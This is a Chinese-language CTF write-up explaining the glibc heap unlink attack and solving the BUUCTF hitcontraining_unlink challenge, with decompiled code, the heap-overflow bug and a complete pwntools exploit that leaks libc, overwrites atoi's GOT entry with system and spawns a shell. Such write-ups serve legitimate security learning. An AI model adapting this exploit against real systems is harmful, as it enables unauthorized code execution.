首页 > 技术文章 > Unlink

pwnfeifei 2021-12-16 11:04 原文

推迟了好久的unlink今天终于把它看了一下。下面是从CTFwiki上拿过来的unlink过程的图片,感觉已经很详细了。

unlink

附上unlink的源码

1 #define unlink(P, BK, FD)                                                     \
2 {                                                                             \
3   BK = P->bk;                                                                 \
4   FD = P->fd;                                                                 \
5   FD->bk = BK;                                                                \
6   BK->fd = FD;                                                                \
7 }                                                                             \

简单地说就是

//首先根据p的fd和bk来获得双向链表下一个 chunk BK和上一个chunk FD 再设置FD->bk=BK 及 BK->fd=FD

以下是对unlink的检查

 1 // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
 2 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))        \
 3       malloc_printerr ("corrupted size vs. prev_size");                     \
 4       
 5 // 检查 fd 和 bk 指针(双向链表完整性检查,检查p和其前后的chunk是否构成双向链表)
 6 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                       \
 7   malloc_printerr (check_action, "corrupted double-linked list", P, AV);    \

我们要做的就是绕过对size和对链表完整性的检查。size的检查很好绕过,下面我讲一下怎么绕过对链表完整性的检查。

 假设bss段上有存储堆地址的空间,并且第一个堆地址(chunk0)被存放在heapbss=0x6020d0 处即*(0x6020d0)=chunk0,这里我们把chunk0记为p

此时我们可以伪造FD=p->fd=0x6020b8  BK=p->bk==0x6020c0

1if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                       //FD->bk=*(0x6020d0)=p 且 BK->fd=*(0x6020d0)=p 成功绕过
2     malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

那我们就会执行unlink操作使得FD->bk=BK 及 BK->fd=FD

那我们最终的结果就是向heapbss里写入了bss-0x18的值。从而使heapbss附近有可写地址,实现任意写。

下面拿一个例题BUUCTF hitcontraining_unlink

经典的菜单题

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   void (**v4)(void); // [rsp+8h] [rbp-18h]
 4   char buf[8]; // [rsp+10h] [rbp-10h] BYREF
 5   unsigned __int64 v6; // [rsp+18h] [rbp-8h]
 6 
 7   v6 = __readfsqword(0x28u);
 8   setvbuf(stdout, 0LL, 2, 0LL);
 9   setvbuf(stdin, 0LL, 2, 0LL);
10   v4 = (void (**)(void))malloc(0x10uLL);
11   *v4 = (void (*)(void))hello_message;
12   v4[1] = (void (*)(void))goodbye_message;
13   (*v4)();
14   while ( 1 )
15   {
16     menu();
17     read(0, buf, 8uLL);
18     switch ( atoi(buf) )
19     {
20       case 1:
21         show_item();
22         break;
23       case 2:
24         add_item();
25         break;
26       case 3:
27         change_item();
28         break;
29       case 4:
30         remove_item();
31         break;
32       case 5:
33         v4[1]();
34         exit(0);
35       default:
36         puts("invaild choice!!!");
37         break;
38     }
39   }
40 }

show函数

 1 int show_item()
 2 {
 3   int i; // [rsp+Ch] [rbp-4h]
 4 
 5   if ( !num )
 6     return puts("No item in the box");
 7   for ( i = 0; i <= 99; ++i )
 8   {
 9     if ( *(_QWORD *)&itemlist[4 * i + 2] )
10       printf("%d : %s", (unsigned int)i, *(const char **)&itemlist[4 * i + 2]);
11   }
12   return puts(byte_401089);
13 }

add函数

__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*(_QWORD *)&itemlist[4 * i + 2] )
      {
        itemlist[4 * i] = v2;
        *(_QWORD *)&itemlist[4 * i + 2] = malloc(v2);
        printf("Please enter the name of item:");
        *(_BYTE *)(*(_QWORD *)&itemlist[4 * i + 2] + (int)read(0, *(void **)&itemlist[4 * i + 2], v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

edit函数:这个函数存在堆溢出漏洞

 1 unsigned __int64 change_item()
 2 {
 3   int v1; // [rsp+4h] [rbp-2Ch]
 4   int v2; // [rsp+8h] [rbp-28h]
 5   char buf[16]; // [rsp+10h] [rbp-20h] BYREF
 6   char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
 7   unsigned __int64 v5; // [rsp+28h] [rbp-8h]
 8 
 9   v5 = __readfsqword(0x28u);
10   if ( num )
11   {
12     printf("Please enter the index of item:");
13     read(0, buf, 8uLL);
14     v1 = atoi(buf);
15     if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
16     {
17       printf("Please enter the length of item name:");
18       read(0, nptr, 8uLL);
19       v2 = atoi(nptr);
20       printf("Please enter the new name of the item:");
21       *(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;//这里并没有对长度进行检查
22     }
23     else
24     {
25       puts("invaild index");
26     }
27   }
28   else
29   {
30     puts("No item in the box");
31   }
32   return __readfsqword(0x28u) ^ v5;
33 }

delete函数

 1 unsigned __int64 remove_item()
 2 {
 3   int v1; // [rsp+Ch] [rbp-14h]
 4   char buf[8]; // [rsp+10h] [rbp-10h] BYREF
 5   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 6 
 7   v3 = __readfsqword(0x28u);
 8   if ( num )
 9   {
10     printf("Please enter the index of item:");
11     read(0, buf, 8uLL);
12     v1 = atoi(buf);
13     if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
14     {
15       free(*(void **)&itemlist[4 * v1 + 2]);
16       *(_QWORD *)&itemlist[4 * v1 + 2] = 0LL;
17       itemlist[4 * v1] = 0;
18       puts("remove successful!!");
19       --num;
20     }
21     else
22     {
23       puts("invaild index");
24     }
25   }
26   else
27   {
28     puts("No item in the box");
29   }
30   return __readfsqword(0x28u) ^ v3;
31 }

下面直接贴上我的exp

 1 from pwn import *
 2 context.log_level='debug'
 3 context.arch='amd64'
 4 
 5 #s=remote('node4.buuoj.cn',28938)
 6 s=process('./hitcontraining-unlink')
 7 libc=ELF('./libc-2.23.so')
 8 
 9 magic=0x400D49
10 puts_plt=0x4006E0
11 free_plt=0x4006D0
12 
13 atoi_got=0x602068
14 free_got=0x602018
15 
16 def show():
17     s.recvuntil(b'Your choice:')
18     s.sendline(b'1')
19 
20 def add(length,name):
21     s.recvuntil(b'Your choice:')
22     s.sendline(b'2')
23     s.recvuntil(b'Please enter the length of item name:')
24     s.sendline(str(length))
25     s.recvuntil(b'Please enter the name of item:')
26     s.sendline(name)
27 
28 def edit(index,length,name):
29     s.recvuntil(b'Your choice:')
30     s.sendline(b'3')
31     s.recvuntil(b'Please enter the index of item:')
32     s.sendline(str(index))
33     s.recvuntil(b'Please enter the length of item name:')
34     s.sendline(str(length))
35     s.recvuntil(b'Please enter the new name of the item:')
36     s.sendline(name)
37 
38 def delete(index):
39     s.recvuntil(b'Your choice:')
40     s.sendline(b'4')
41     s.recvuntil(b'Please enter the index of item:')
42     s.sendline(str(index))
43 
44 add(0x30,b'\x10'*4)#0
45 add(0xf0,b'\x11'*4)#1
46 add(0x100,b'\x12'*4)#2
47 add(0x100,b'\x13'*4)#3
48 
49 fd=0x6020c8-0x18
50 bk=0x6020c8-0x10
51 
52 payload=p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)+p64(0)+p64(0x30)+p64(0x100)
53 edit(0,0x50,payload)
54 delete(1)
55 gdb.attach(s)
56 payload=p64(0)+p64(0)
57 payload+=p64(0)+p64(atoi_got)
58 edit(0,0x30,payload)
59 
60 show()
61 s.recvuntil(b'0 : ')
62 libc_base=u64(s.recv(6).ljust(8,b'\x00'))-libc.sym['atoi']
63 system_addr=libc_base+libc.sym['system']
64 
65 payload=p64(system_addr)
66 edit(0,0x10,payload)
67 
68 
69 #gdb.attach(s)
70 
71 s.sendlineafter(b'Your choice:',b'/bin/sh\x00')
72 s.interactive()

 

参考链接:

大康师傅  https://blog.csdn.net/abel_big_xu/article/details/109632899

Angel~Yan师傅  https://blog.csdn.net/mcmuyanga/article/details/112602827

CTFwiki  https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

推荐阅读